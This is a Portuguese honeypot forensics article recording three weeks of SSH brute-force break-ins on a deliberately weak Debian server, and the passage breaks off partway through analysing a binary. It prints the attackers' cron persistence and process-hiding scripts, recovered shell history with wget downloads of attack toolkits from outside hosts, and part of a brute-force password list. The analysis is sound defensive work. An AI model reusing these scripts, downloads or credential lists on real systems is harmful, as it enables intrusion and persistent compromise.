Para a execução deste artigo foi instalado o Debian Lenny, puro, somente o necessário para o sistema operacional entrar em funcionamento, nenhum modo gráfico, e a partir dai foram instalados os serviços que foram a isca para os atacantes.
O Samhain, um excelente Host Intrusion Detection System (HIDS) foi devidamente configurado para enviar os alertas por e-mail de cada mudança no sistema operacional.
No cenário suponhamos que um Sysadmin configurou incorretamente o servidor, foi criado um usuário sysctl com poderes de root para o acesso, capturar evidencias com o mínimo de tempo possível conectado ao servidor evitando deixar rastros
Overview do Sistema Operacional
Vejamos abaixo as versões dos serviços e outras informações úteis do sistema operacional:
root@dns:~# uname -a
Linux dns 2.6.26-2-686 #1 SMP Mon Aug 30 07:01:57 UTC 2010 i686 GNU/Linux
Serviços e Ferramentas:
root@dns:~# dpkg –list |grep apache
ii apache2 2.2.9-10+lenny8 Apache HTTP Server
root@dns:~# dpkg –list |grep postfix
ii postfix 2.5.5-1.1 High-performance mail transport agent
root@dns:~# dpkg –list |grep ssh
ii ssh 1:5.1p1-5 secure shell client and server
root@dns:~# dpkg –list |grep nmap
ii nmap 4.62-1 The Network Mapper
root@dns:~# dpkg –list |grep tcpdump
ii tcpdump 3.9.8-4 A powerful tool for network
root@dns:~# dpkg –list |grep netcat
ii netcat-traditional 1.10-38 TCP/IP swiss army knife
root@dns:~# dpkg –list |grep mysql
ii mysql-common 5.0.51a-24+lenny4 MySQL database common
root@dns:~# dpkg –list |grep samhain
ii samhain 2.2.3-6.2 Data integrity and host intrusion alert system
root@dns:~# free -m
total used free shared buffers cached
Mem: 1011 124 887 0 11 86
-/+ buffers/cache: 27 984
Swap: 1608 0 1608
Nmap:
dns:~# nmap localhost
Starting Nmap 4.62
Interesting ports on localhost (127.0.0.1):
Not shown: 1712 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
Nmap done: 1 IP address (1 host up) scanned in 0.164 seconds
Lembrando que nenhuma porta dos serviços instalados foram alteradas, tudo esta instalado como padrão do sistema.
Pronto!! O servidor esta no ar!! Com o Ip 189.100.65.245 e aguardando os mais variado tipos de ataques.
PRIMEIRA SEMANA
Nos primeiro dias nada de eventos, o samhain nada enviou nestes dois primeiros dias, o motivo disso é que o IP ainda não foi escaneado pelos bots da internet.
Porém no 3º dia começaram os brute forces, muitas conexões em cima do protocolo ssh, vejamos abaixo:
22:22:29 dns sshd[2365]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=60.191.187.227 user=root
22:22:32 dns sshd[2365]: Failed password for root from 60.191.187.227 port 38395 ssh2
22:22:34 dns sshd[2367]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=60.191.187.227 user=root
22:22:37 dns sshd[2367]: Failed password for root from 60.191.187.227 port 38627 ssh2
22:22:39 dns sshd[2369]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=60.191.187.227 user=root
22:22:41 dns sshd[2369]: Failed password for root from 60.191.187.227 port 38844 ssh2
22:22:44 dns sshd[2371]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=60.191.187.227 user=root
22:22:46 dns sshd[2371]: Failed password for root from 60.191.187.227 port 39037 ssh2
22:22:49 dns sshd[2373]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=60.191.187.227 user=root
22:22:51 dns sshd[2373]: Failed password for root from 60.191.187.227 port 39272 ssh2
22:22:54 dns sshd[2375]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=60.191.187.227 user=root
22:22:56 dns sshd[2375]: Failed password for root from 60.191.187.227 port 39483 ssh2
22:23:00 dns sshd[2377]: Invalid user ftpadmin from 60.191.187.227
22:23:00 dns sshd[2377]: pam_unix(sshd:auth): check pass; user unknown
22:23:05 dns sshd[2379]: Invalid user postgres from 60.191.187.227
22:23:11 dns sshd[2381]: Invalid user oracle from 60.191.187.227
06:06:15 dns sshd[2787]: Failed password for root from 116.228.1.50 port 51577 ssh2
06:06:18 dns sshd[2789]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.228.1.50 user=root
Este é um pequeno exemplo, abaixo os ip’s e suas origens…
Ip’s que fizeram tentativas ao servidor – Total 5
|
IP ORIGEM |
LOCALIZAÇÃO |
| 60.191.187.227 | China |
| 59.175.146.230 | China |
| 116.228.1.50 | China |
| 219.144.130.194 | China |
| 210.188.221.21 | Japão |
Até que certo momento…..
03:40:08 dns sshd[2715]: Accepted password for root from 59.175.146.230 port 37674 ssh2
Primeiro bot vencedor!!
Sep 17 06:06:24 dns sshd[2791]: Accepted password for root from 116.228.1.50 port 52201 ssh2
Segundo bot vencedor!!
07:24:49 dns sshd[2920]: Accepted password for root from 58.211.1.163 port 20693 ssh2
Terceiro bot vencedor!!
Mais alguns dias se passam e mais bots e seus brute forces….
Ip’s que fizeram tentativas ao servidor – Total 7
|
IP ORIGEM |
LOCALIZAÇÃO |
| 60.191.187.227 | China |
| 59.175.146.230 | China |
| 116.228.1.50 | China |
| 219.144.130.194 | China |
| 210.188.221.21 | Japão |
| 87.197.108.112 | Eslováquia |
| 108.197.87.112 | - |
Ainda na primeira semana…
17:53:58 dns sshd[5597]: Accepted password for root from 201.238.198.110 port 50330 ssh2
17:53:58 dns sshd[5597]: pam_unix(sshd:session): session opened for user root by (uid=0)
17:54:05 dns sshd[5604]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.238.198.110 user=root
17:54:07 dns sshd[5604]: Failed password for root from 201.238.198.110 port 51232 ssh2
17:54:08 dns sshd[5606]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.238.198.110 user=root
17:54:10 dns sshd[5606]: Failed password for root from 201.238.198.110 port 51911 ssh2
17:54:12 dns sshd[5608]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.238.198.110 user=root
Acima temos um bot, de origem chilena, isto se ele não for um proxy de outro país, fez uma conexão ao servidor, obteve êxito e continua tentando mais senhas para o usuário root.
Ip’s que fizeram tentativas ao servidor Total 9
|
IP ORIGEM |
LOCALIZAÇÃO |
| 60.191.187.227 | China |
| 59.175.146.230 | China |
| 116.228.1.50 | China |
| 219.144.130.194 | China |
| 210.188.221.21 | Japão |
| 87.197.108.112 | Eslováquia |
| 108.197.87.112 | - |
| 201.238.198.110 | Chile |
| 190.17.234.2 | Argentina |
Primeiro acesso inteligente no servidor! um usuário criado!! com os poderes de root !!
Tivemos um acesso de origem argentina e logo após o usuário criado!!
17:56:48 dns sshd[5692]: Accepted password for root from 190.17.234.2 port 57557 ssh2
17:57:41 dns useradd[5743]: new user: name=game, UID=0, GID=0, home=/home/game, shell=/bin/sh
Mais um vencedor!!
07:48:04 dns sshd[15201]: Accepted password for root from 114.80.97.201 port 53137 ssh2
07:48:04 dns sshd[15201]: pam_unix(sshd:session): session opened for user root by (uid=0)
Como temos um fuso horário bem diferente do lado oriente, aqui são 12:00h, no outro lado do mundo são 00:00h, tivemos grande quantidade de tentativas após este horário pelo ip 61.16.240.36
12:56:38 dns sshd[18188]: Invalid user admin from 61.16.240.36
12:57:46 dns sshd[18222]: Failed password for invalid user webadmin from 61.16.240.36 port 40444 ssh2
12:57:51 dns sshd[18224]: Invalid user ftp from 61.16.240.36
Desta vez o usuário test foi citado nos logs!! mas sem sucesso
12:57:55 dns sshd[18226]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=61.16.240.36 user=test
Ip’s que fizeram tentativas ao servidor Total 10
|
IP ORIGEM |
LOCALIZAÇÃO |
| 60.191.187.227 | China |
| 59.175.146.230 | China |
| 116.228.1.50 | China |
| 219.144.130.194 | China |
| 210.188.221.21 | Japão |
| 87.197.108.112 | Eslováquia |
| 108.197.87.112 | - |
| 201.238.198.110 | Chile |
| 190.17.234.2 | Argentina |
| 61.16.240.36 | India |
16:57:15 dns sshd[20628]: Accepted password for root from 184.105.240.158 port 46134 ssh2
Finalmente o usuário ‘test’ foi descoberto…
16:58:00 dns sshd[20661]: Accepted password for test from 184.105.240.158 port 48938 ssh2
E muito próximo disto temos mais um acesso pelo usuário root…
16:57:42 dns sshd[20640]: Accepted password for root from 92.85.189.160 port 53867 ssh2
Que desta vez foi mais esperto….
16:58:53 dns passwd[20687]: pam_unix(passwd:chauthtok): password changed for root
Até o momento, todos estes brute forces eram esperado, a partir de agora o que vier fará parte da inteligência do atacante, pois quem quer se esteja por trás do ip 92.85.189.160, não gosta de compartilhar um servidor com mais uns estrangeiros, visto que senha de root foi alterada.
Mas não podemos esquecer que existe um usuário ‘game’ com poderes de root no qual foi criado nesta semana, este ainda pode acabar com a festa…
Ip’s que fizeram tentativas ao servidor Total 11
|
IP ORIGEM |
LOCALIZAÇÃO |
| 60.191.187.227 | China |
| 59.175.146.230 | China |
| 116.228.1.50 | China |
| 219.144.130.194 | China |
| 210.188.221.21 | Japão |
| 87.197.108.112 | Eslováquia |
| 108.197.87.112 | - |
| 201.238.198.110 | Chile |
| 190.17.234.2 | Argentina |
| 61.16.240.36 | India |
| 118.127.0.242 | Australia |
Ao final desta semana tivemos diversos acessos ao servidor, que por sinal já esta bem comprometido, vejamos a saída do comando ‘last’:
game pts/1 2-234-17-190.fib Fri Sep 17 18:00 – 18:01 (00:01)
root pts/1 2-234-17-190.fib Fri Sep 17 17:56 – 17:59 (00:02)
root pts/0 201.238.198.110 Fri Sep 17 17:53 – 18:21 (00:27)
root pts/0 92.80.232.122 Fri Sep 17 11:36 – 12:05 (00:29)
test pts/1 210.188.221.21 Fri Sep 17 11:24 – 11:25 (00:00)
root pts/0 210.188.221.21 Fri Sep 17 11:23 – 11:25 (00:01)
root pts/0 58.211.1.163 Fri Sep 17 07:24 – 07:24 (00:00)
root pts/0 116.228.1.50 Fri Sep 17 06:06 – 06:06 (00:00)
root pts/0 59.175.146.230 Fri Sep 17 03:40 – 03:40 (00:00)
root pts/0 60.191.187.227 Thu Sep 16 22:22 – 22:23 (00:01)
root pts/0 202.190.180.229 Thu Sep 16 14:44 – 14:44 (00:00)
root pts/1 180.149.53.114 Thu Sep 16 08:19 – 08:19
wtmp begins Wed Sep 15 02:37:11 2010
Até o momento só vi logs e mais logs, algo que deixou em alerta são alguns acessos de longo período de atividade, a partir de amanhã levantarei quais foram as modificações realizadas no sistema operacional, pois os alertas do samhain estão cada vez mais comuns.
Para evitar perder algumas evidências, fiz algumas alterações para preservar os logs pois o atacante pode remover os logs a qualquer momento, já que esta é uma prática comum entre os hackers.
Também foi criado a variável HISTFILE dentro do arquivo .bashrc dos usuários ‘root’, ‘game’ e ‘test’ que são os mais acessados.
A seguinte linha foi adicionada no arquivo .bashrc destes usuários e também adicionada ao /etc/skel/.bashrc, pois caso houver a criação de algum usuário novo o mesmo levará consigo estas variáveis.
export HISTFILE=/usr/local/tmp/history_root
Cada usuário tem um arquivo diferente para armazenar os logs.
SEGUNDA SEMANA
Logo de início temos mais um acesso pelo usuário ‘test’, por ele ser um usuário comum, teoricamente, muita coisa ele não poderá fazer, gostaríamos de ver algum exploit ou alguma técnica nova de escalação de privilégios….
21:44:01 dns sshd[23679]: Accepted password for test from 118.127.0.242 port 58320 ssh2
Mais um descobridor do usuário ‘test’…
21:45:06 dns sshd[23978]: Accepted password for test from 79.117.72.85 port 1554 ssh2
Ip’s que fizeram tentativas ao servidor Total 14
|
IP ORIGEM |
LOCALIZAÇÃO |
| 60.191.187.227 | China |
| 59.175.146.230 | China |
| 116.228.1.50 | China |
| 219.144.130.194 | China |
| 210.188.221.21 | Japão |
| 87.197.108.112 | Eslováquia |
| 108.197.87.112 | - |
| 201.238.198.110 | Chile |
| 190.17.234.2 | Argentina |
| 61.16.240.36 | India |
| 118.127.0.242 | Australia |
| 79.117.72.85 | Romênia |
| 180.149.11.23 | Bangladesh |
| 210.188.221.21 | Japão |
Hoje ao logar no servidor e executar o comando ‘last’, que lista os últimos acessos ao servidor, me deparo com uma situação engraçada, antes era exibido uma lista grande de acesso como descrito um pouco acima, porém agora a lista esta menor, vejamos:
test pts/2 79.117.72.85 Sat Sep 18 21:45 still logged in
test pts/2 www.dancemusichu Sat Sep 18 21:44 – 21:45 (00:00)
test pts/0 www.dancemusichu Sat Sep 18 21:44 – 21:57 (00:13)
test pts/0 www.dancemusichu Sat Sep 18 21:44 – 21:44 (00:00)
wtmp begins Sat Sep 18 21:44:01 2010
É isto mesmo, tivemos os logs removidos!!
A última linha da saída do comando ‘last’ nos da uma informação valiosa, quer dizer que o novo arquivo de log foi iniciado em 18 de Setembro de 20010 ás 21:44:01h.
Analisando o arquivo gerado pelo tcpdump, vemos que o ultimo acesso ao servidor pela porta 22(ssh) teve origem do ip 92.85.189.160 (Romênia) e está muito próximo da data em que os logs foram removidos.
Nada garante que o atacante seja da origem do endereço ip, pois é muito comum entre os hackers a utilização de ‘nós’, ou seja, uma máquina comprometida em outro país seja utilizada como uma ponte para acesso a outro servidor, ou mesmo a utilização de proxy’s para acesso a outros servidores para dificultar a localização do atacante.
Outra evidência encontrada nesta semana foi a alteração dos binários do sistema, além do samhain ter alertado, também foi possível depois que foi executado o comando ‘ps’:
root@dns:~# ps
Falha de segmentação
A partir deste momento, tudo o que é visualizado na tela pode não ser real, pois com os binários importantes manipulados, quem manipulou, filtra somente aquilo que deseja ser visível ao sysadmin, ou seja, conexões ou processos pode não ser visível sendo executado pelo binário modificado.
Um exemplo do comando ‘netstat’ no servidor:
root@dns:~# netstat -an
Conexões Internet Ativas (servidores e estabelecidas)
Proto Recv-Q Send-Q Endereço Local Endereço Remoto Estado
tcp 0 0 0.0.0.0:111 0.0.0.0:* OUÇA
tcp 0 0 0.0.0.0:22 0.0.0.0:* OUÇA
tcp 0 0 :::80 :::* OUÇA
udp 0 0 0.0.0.0:111 0.0.0.0:*
E na verdade, o servidor esta servindo como ponte, e esta atacando outros servidores da mesma maneira que fui atacado, via brute force:
Abaixo a saída do comando ‘netstat’ de um binário limpo….
tcp 0 1 189.100.65.245:43137 4.187.0.206:22 SYN_ENVIADO
tcp 0 0 189.100.65.245:49391 12.15.0.166:22 TIME_WAIT
tcp 0 1 189.100.65.245:49915 4.188.0.55:22 SYN_ENVIADO
tcp 0 1 189.100.65.245:33015 4.187.0.68:22 SYN_ENVIADO
tcp 0 0 189.100.65.245:54583 200.171.169.157:22 TIME_WAIT
tcp 0 1 189.100.65.245:40913 4.187.0.166:22 SYN_ENVIADO
tcp 0 0 189.100.65.245:56366 200.171.169.157:22 TIME_WAIT
tcp 0 52 189.100.65.245:52786 12.179.0.202:22 ESTABELECIDA
tcp 0 0 189.100.65.245:53861 12.189.0.65:22 TIME_WAIT
tcp 0 0 189.100.65.245:42993 12.35.0.131:22 TIME_WAIT
tcp 0 0 189.100.65.245:57827 200.171.169.157:22 TIME_WAIT
tcp 0 144 189.100.65.245:55289 12.168.0.114:22 ESTABELECIDA
tcp 0 0 189.100.65.245:45116 12.108.0.149:22 TIME_WAIT
tcp 0 1 189.100.65.245:58976 4.186.0.182:22 SYN_ENVIADO
tcp 0 0 189.100.65.245:33097 200.171.131.99:22 TIME_WAIT
tcp 0 0 189.100.65.245:41088 200.172.118.3:22 TIME_WAIT
tcp 0 0 189.100.65.245:52661 12.108.0.67:22 TIME_WAIT
tcp 0 0 189.100.65.245:48526 200.172.36.24:22 TIME_WAIT
tcp 0 0 189.100.65.245:57945 200.171.143.23:22 TIME_WAIT
tcp 0 0 189.100.65.245:47074 200.171.9.206:22 TIME_WAIT
tcp 0 1 189.100.65.245:52177 4.187.0.212:22 SYN_ENVIADO
tcp 0 0 189.100.65.245:36124 12.35.0.131:22 TIME_WAIT
tcp 0 1 189.100.65.245:44927 4.188.0.93:22 SYN_ENVIADO
tcp 0 0 189.100.65.245:41041 200.172.83.162:22 TIME_WAIT
tcp 0 0 189.100.65.245:56750 200.172.230.187:22 TIME_WAIT
tcp 0 0 189.100.65.245:41356 12.110.0.115:22 TIME_WAIT
Este é somente um pequeno pedaço da saída do comando ‘netstat’.
Vemos que existe algumas conexões estabelecidas na porta 22 (ssh) e muitas outras com o sinal de ‘TIME_WAIT’.
Antes de prosseguir, o samhain nos informou por e-mail que no dia 17 de Setembro ás 23:16h, foram alterados uma série de arquivos no ‘/bin’, dentre eles o binário ‘ls’ não foi alterado, então podemos utilizá-lo para listar os arquivos.
Segue a lista de arquivos alterados:
drwxr-xr-x 2 root root 4,0K Set 17 23:16 .
-rwxr-xr-x 1 root root 12K Set 17 23:16 bzip2recover
-rwxr-xr-x 1 root root 31K Set 17 23:16 cat
-rwxr-xr-x 1 root root 49K Set 17 23:16 chgrp
-rwxr-xr-x 1 root root 46K Set 17 23:16 chmod
-rwxr-xr-x 1 root root 58K Set 17 23:16 date
-rwxr-xr-x 1 root root 8,4K Set 17 23:16 dmesg
-rwxr-xr-x 1 root root 13K Set 17 23:16 dnsdomainname
-rwxr-xr-x 1 root root 28K Set 17 23:16 echo
-rwxr-xr-x 1 root root 26K Set 17 23:16 false
-rwxr-xr-x 1 root root 59K Set 17 23:16 fgrep
-rwxr-xr-x 1 root root 103K Set 17 23:16 grep
-rwxr-xr-x 1 root root 58K Set 17 23:13 gzip
-rwxr-xr-x 1 root root 39K Set 17 23:16 loadkeys
-rwxr-xr-x 1 root root 8,5K Set 17 23:16 mountpoint
-rwxr-xr-x 1 root root 32K Set 17 23:16 mt-gnu
-rwxr-xr-x 1 root root 151K Set 17 23:16 nano
-rwsr-xr-x 1 root root 35K Set 17 23:16 ping
-rwxr-xr-x 1 root root 78K Set 17 23:16 ps
-rwxr-xr-x 1 root root 27K Set 17 23:16 sleep
Resumindo, tivemos os logs apagados e alguns binários modificados.
O samhain esta sendo de grande utilidade, pois seria impossível ficar analisando em tempo real os arquivos alterados.
Desta vez ele nos alertou do crontab, o agendados de taferas do linux. Ao verificar o que ocorreu, detectei uma entrada muito estranha:
dns:~# crontab -l
* * * * * /var/tmp/j/deltmp.pl >/dev/null 2>&1
Ao visualizarmos de perto esse script perl…
dns:~# cat /var/tmp/j/deltmp.pl
#!/bin/sh
if test -r /var/tmp/j/mech.pid; then
pid=$(cat /var/tmp/j/mech.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd /var/tmp/j
./run &>/dev/null
Na verdade tem a extensão .pl(Perl), mas é um script bash que faz coisas muito interessantes, vejamos…
- Primeiramente verifica se existe o arquivo localizado em /var/tmp/j/mech.pid
- Se existir, ele atribui á variável ‘pid’ o número do processoem execução. Naverdade se vermos o arquivo mech.pid teremos o número do processo:
dns:~# cat /var/tmp/j/mech.pid
5943
- O processo é finalizado e o binário é executado novamente.
Mas o que este binário faz?? Visualizando o arquivo ‘run’, veremos….
#!/bin/sh
DGRN=’_[0;32m'
GRN='_[1;32m'
RES='_[0m'
WHI='_[1;37m'
DCYN='_[0;36m'
echo "${DCYN}[-] Espera… ${WHI}”
sleep 3
./hide -s “/usr/sbin/sshd” ./emech
echo “${DCYN}[-] Listo, Mech para Linux corriendo satisfactoriamente!${RES}”
Ele também é um script bash!! Que chama o arquivo ‘hide’ com uns parâmetros e logo após executa o binário ‘emech’ todos localizados no diretório ‘/var/tmp/j/’
O arquivo hide aparenta ser um binário malicioso que camufla os processos e substitui por uma string ‘/usr/sbin/ssh’, vamos utilizar a ferramenta ‘strings’ para ver se conseguimos coletar algo….
File: hide
MD5: 364ed3e6bcb831ed5987e718a777b5f1
Size: 20748
…
…
…
XHide – Process Faker, by Schizoprenic Xnuxer Research (c) 2002
Options:
-s string
Fake name process
Run aplication as daemon/system (optional)
-u uid[:gid]
Change UID/GID, use another user (optional)
-p filename
Save PID to filename (optional)
Example: %s -s “klogd -m 0″ -d -p test.pid ./egg bot.conf
Full path seek
/dev/null
…..
…..
Copiei somente o necessário para entendermos o binário, o arquivo por completo estará disponível para download através de uma URL descrita no final deste artigo.
Como se imaginava, o arquivo malicioso camufla o binário ‘emech’ que nos processos do sistema será visto como “/usr/sbin/sshd”.
Agora vamos atrás do binário ‘emech’, strings novamente…
File: emech
MD5: 92bb28077f4d54960bbd6a22cb01466e
Size: 497561
…
…
…
ALIAS
WINGATE
VIRTUAL
SIGMASTER
TOPIC
CHANNEL
IRCNAME
CMDCHAR
USERFILE
USERMASTER
USERSLAVE
LINKPORT
LINKPASS
AUTOLINK
NOSEEN
NOSHELLCMD
NOSIGNALS
HASONOTICE
SHARED
EXPIRE
REASON
PROT
ECHO
HANDLE
./mech.set
./mech.session
….
….
….
Users on %s that are idle more than %i second%s:
Quit the nick floods you lamer
Get the hell out nick-flooding lamer!!!
%s kicked from %s for nick flooding
….
….
….
@ <channel> [-ops|-nonops] [pattern]
@ <PORT port> | <SERVER host> | <SEND>
@ [+minlevel] [-maxlevel] [#channel] [usermask] [-B] [-C]
@ [channel] <toggle> [0|1|on|off]
@ <channel> <nick|userhost> <newlevel>
@ <channel> <nick|userhost> <level> [expire] <reason>
@ <servername> [port] [login] [ircname]
@ <channel> <pattern of words banned>
@ <UP|DOWN|ADD|DEL|PORT> <…>
LINK ADD <entity> <linkpass> <host> <linkport>
@ <channel> <”String to kick on”> <”kick reason”>
@ [topic|command|level|pattern]
@ [channel] <nick|pattern [...]>
@ <handle> <channel> <nick|userhost> <level> [aop] [prot] [pass]
%s signed off %s ago with message [%s]
%s changed nicks to %s, %s ago
%s was kicked by %s with message [%s] %s ago
Commands available to you
….
….
Nickname too long: %s
I’ll get you for this!!!
Handle %s is already in use
No nick or userhost specified
No level specified
*!*@*.*
%s %s on %s is already a user
%s has been added as %s on %s
Password:
Problem adding the user
Unknown handle
Deleting bot %s
User %s has been purged
Levels were written to %s
Levels were read from %s
could not be
Lists%s saved to file %s
Lists%s read from file %s
No nick specified
Ban attempt of %s
%s banned on %s
Siteban attempt of %s
%s sitebanned on %s
Kickban attempt of %s
Requested Kick
%s kickbanned on %s
Sitekickban attempt of %s
%s sitekickbanned on %s
Kick attempt of %s
./randfiles/randkicks.e
%s kicked from %s
-ops
-nonops
I have no information on %s
Users on %s%s
%4i%c %c %9s %s
No matching users found
No users found
End of Userlist
No reason specified
The shitlist will expire: %s
Problem shitting the user
Unknown user: %s
access denied
Valid levels are 0 thru %i
Level changed from %i to %i
You have been unbanned on %s
%s unbanned on %s
./randfiles/randnicks.e
……..
É isto mesmo!!! O servidor se tornou um servidor de IRC. Visualizando melhor outros arquivos na pasta, encontramos…
#!/bin/sh
echo “[+] Corriendo procesos Anti-Kill”
echo “”
pwd > exp.dir
dir=$(cat exp.dir)
echo “* * * * * $dir/deltmp.pl >/dev/null 2>&1″ > cron.d
crontab cron.d
crontab -l | grep deltmp.pl
echo “#!/bin/sh
if test -r $dir/mech.pid; then
pid=\$(cat $dir/mech.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null” > deltmp.pl
chmod u+x deltmp.pl
sleep 3
echo “”
echo “Listo!”
#echo “Para correr mech sobre linux ejecuta ./run”
#echo “Para correr mech sobre darwin ejecuta ./mac”
Ou seja, se o processo for finalizado, ele executa-o novamente e sempre atualiza o crontab chamando o script caso o mesmo for removido.
TERCEIRA SEMANA
Buscando mais evidências, fui em busca do histórico de comandos do usuário ‘root’, que tínhamos direcionados para outra localização, e ao vermos o seu conteúdo…
dns:~# cat /usr/local/tmp/history_root
ls -a
cd .ICE-UNIX
cd
rm -rf *
rm -rf .ICE-UNIX
exit
uname -a
passwd
wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe
wget tohellandback.ucoz.com/wakodi.tgz
tar zxvf wakodi.tgz
cat /proc/cpuinfo
cd ../../../../
cd var
cdtmp
mkdir
mkdir~
mkdir pbx
ls
cd tmp
ls
wget http://mpress.dlinkddns.com/sipscan.tgz
ls~
wget http://mpress.dlinkddns.com/sipscan.tgz
tar zxvf sipscan.tgz
rm -rf sipscan.tgz
mv sipscan7.1 sip
cd sip
./install
pico
vi~~
nano~
./install
cd ../
apr-get
apt-get
apt-get install gcc
y
s
ls
rm -rf sip
Temos mais artefatos interessantes, vemos que o atacante removeu o conteúdo do diretório ‘/root’, alterou a senha do root e realizou alguns downloads.
Fui atrás deste arquivo ‘wakodi.tgz’ pela URL acima, porém a mesma não esta mais disponível. O wakodi é um software open source que te possibilita gerenciar um servidor via uma console web, algo muito semelhante ao conhecido Webmin.
Percebi que o atacante não esta utilizando mais o ssh para conectar no servidor, por isso o recurso de redirecionar o histórico de comandos não servirá mais pois ele esta utilizando o netcat para conectar ao servidor, percebi isso nos processos em execução e nas portas abertas, listando na saida do comando ‘netstat’.
Proto Recv-Q Send-Q Endereço Local Endereço Remoto
tcp 426 0 0.0.0.0:41890 0.0.0.0:*
Agora teremos que ter mais atenção, a conexão esta via protocolo tcp, porta 41890. Deixei o tcpdump em execução escutando esta porta para me auxiliar.
Vemos que o atacante fez o download de um arquivo compactado chamado sipscan.tgz, esta ferramenta de enumeration, que é utilizada para obter mais informações sobre um servidor SIP, também presente para plataforma windows. O atacante não conseguiu instalar e removeu o diretório do programa, tentamos fazer o download através do link, mas sem sucesso.
Como também não encontrei o arquivo ‘wakodi.tgz’ dentro do servidor, recorremos ao dump da memória, pelo menos para saber se o arquivo descompactado é realmente o software de gerenciamento ou se ele esta escondido em algum diretório.
O dump da memória requer muita paciência e estudo, pois muitas informações podemos categorizar nesta situação como “lixo” são exibidas na tela quando utilizado a ferramenta strings. Para realizar o dump será necessário ter espaço em disco para armazenar o arquivo, pois temos 1Gb de memória RAM, e o arquivo gerado pelo dump terá aproximadamente o tamanho da memória.
Para realizarmos o dump, utilizamos o comando ‘dd’, muito comum em sistemas operacionais linux!
dns:~# dd if=/dev/mem of=memory.dump
Pronto, agora temos o dump e podemos usar o strings para localizar alguma evidência.
dns:~# strings memory.dump >> memory.txt
Primeiro jogamos a saída do comando strings para um arquivo para analisarmos com mais calma. Vejamos abaixo.
….
….
_=./atack
./atack
ftpuser 1234
ftpuser 12345
ftpuser 123456
ftpuser 1234567
oracle oracle
oracle oracle1
oracle oracle12
oracle oracle123
oracle password
oracle password123
oracle password321
oracle pass1
oracle pass12
oracle pass123
oracle oinstall
oracle elcaro
oracle 1
oracle 123
oracle 1234
oracle 12345
oracle 123456
oracle 1234567
oracle 12345678
…
…
Sep 18 21:45:04 dns sshd[23998]: Invalid user calista from 118.127.0.242
Sep 18 21:45:04 dns sshd[23998]: pam_unix(sshd:auth): check pass; user unknown
Sep 18 21:45:04 dns sshd[23998]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=www.dancemusichub.com
Sep 18 21:45:05 dns sshd[23978]: reverse mapping checking getaddrinfo for 79-117-72-85.rdsnet.ro [79.117.72.85] failed – POSSIBLE BREAK-IN ATTEMPT!
Sep 18 21:45:05 dns sshd[24002]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=www.dancemusichub.com user=root
Sep 18 21:45:06 dns sshd[23978]: Accepted password for test from 79.117.72.85 port 1554 ssh2
Sep 18 21:45:06 dns sshd[23978]: pam_unix(sshd:session): session opened for user test by (uid=0)
Sep 18 21:45:06 dns sshd[23992]: Failed password for invalid user cameryn from 118.127.0.242 port 59713 ssh2
Sep 18 21:45:06 dns sshd[23994]: Failed password for root from 118.127.0.242 port 59813 ssh2
Sep 18 21:45:06 dns sshd[23997]: Failed password for root from 118.127.0.242 port 59837 ssh2
…
…
…
tar
wakodi.tgz
/1
/2
/3
/4
/5
/atack
/common
/gen-pass.sh
/go.sh
/mfu.txt
/pass_file
/pscan2
/scam
/secure
/ss
/ssh-scan
/vuln.txt
…
…
…
Vemos que mesmo com os logs apagados ainda conseguiríamos resgatar informações muito valiosas com o dump da memória, uma delas são as tentativas de conexões via ssh e os ip’s de origem.
Na memória temos um binário sendo executado, ‘./atack’ e logo em seguida o que parece ser são usuários e senhas. Anteriormente detectei que o servidor estava servindo de ponte para ataques de brute force á outros servidores, este binário ‘atack’ deve nos informar quais são os alvos e as senhas do brute force.
O arquivo ‘wakodi.tgz’ foi descompactado e muitas coisas estavam ali dentro, dentre elas o binário ‘atack’. Vamos a busca!
Utilizando o comando ‘lsof’, presente nas distribuições linux, consegui localizar quais arquivos são utilizados em um processo específico, vamos atrás do processo atack, pid número27775. A saída do comando lsof abaixo:
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
atack 27775 test cwd DIR 3,65 4096 32775 /tmp/ /unixcod
atack 27775 test rtd DIR 3,65 4096 2 /
atack 27775 test txt REG 3,65 846832 32779 /tmp/ /unixcod/atack
atack 27775 test 0u CHR 136,0 2 /dev/pts/0
atack 27775 test 1u CHR 136,0 2 /dev/pts/0
atack 27775 test 2u CHR 136,0 2 /dev/pts/0
atack 27775 test 4r REG 3,65 225439 32782 /tmp/ /unixcod/data.conf
Ao entrar no diretório ‘/tmp’, não encontramos o diretório ‘unixcod’ como descrito acima, mas se vermos bem, o nosso intruso criou uma pasta sem nome.
root@dns:/tmp# ls -la
drwxr-xr-x 2 test test 4096 Set 19 00:57
drwxrwxrwt 4 root root 4096 Set 18 23:42 .
drwxr-xr-x 15 root root 4096 Set 16 02:10 ..
Vemos um diretório criado pelo usuário ‘test’, para acessarmos:
root@dns:/tmp# cd “ “
root@dns:/tmp/ # pwd
/tmp/
root@dns:/tmp/ # cd unixcod
Vamos utilizar o strings para ver o que binário ‘atack’ nos informa…
File: atack
MD5: 588336eac505ee9db3c23c2a00cd394e
Size: 846832
….
….
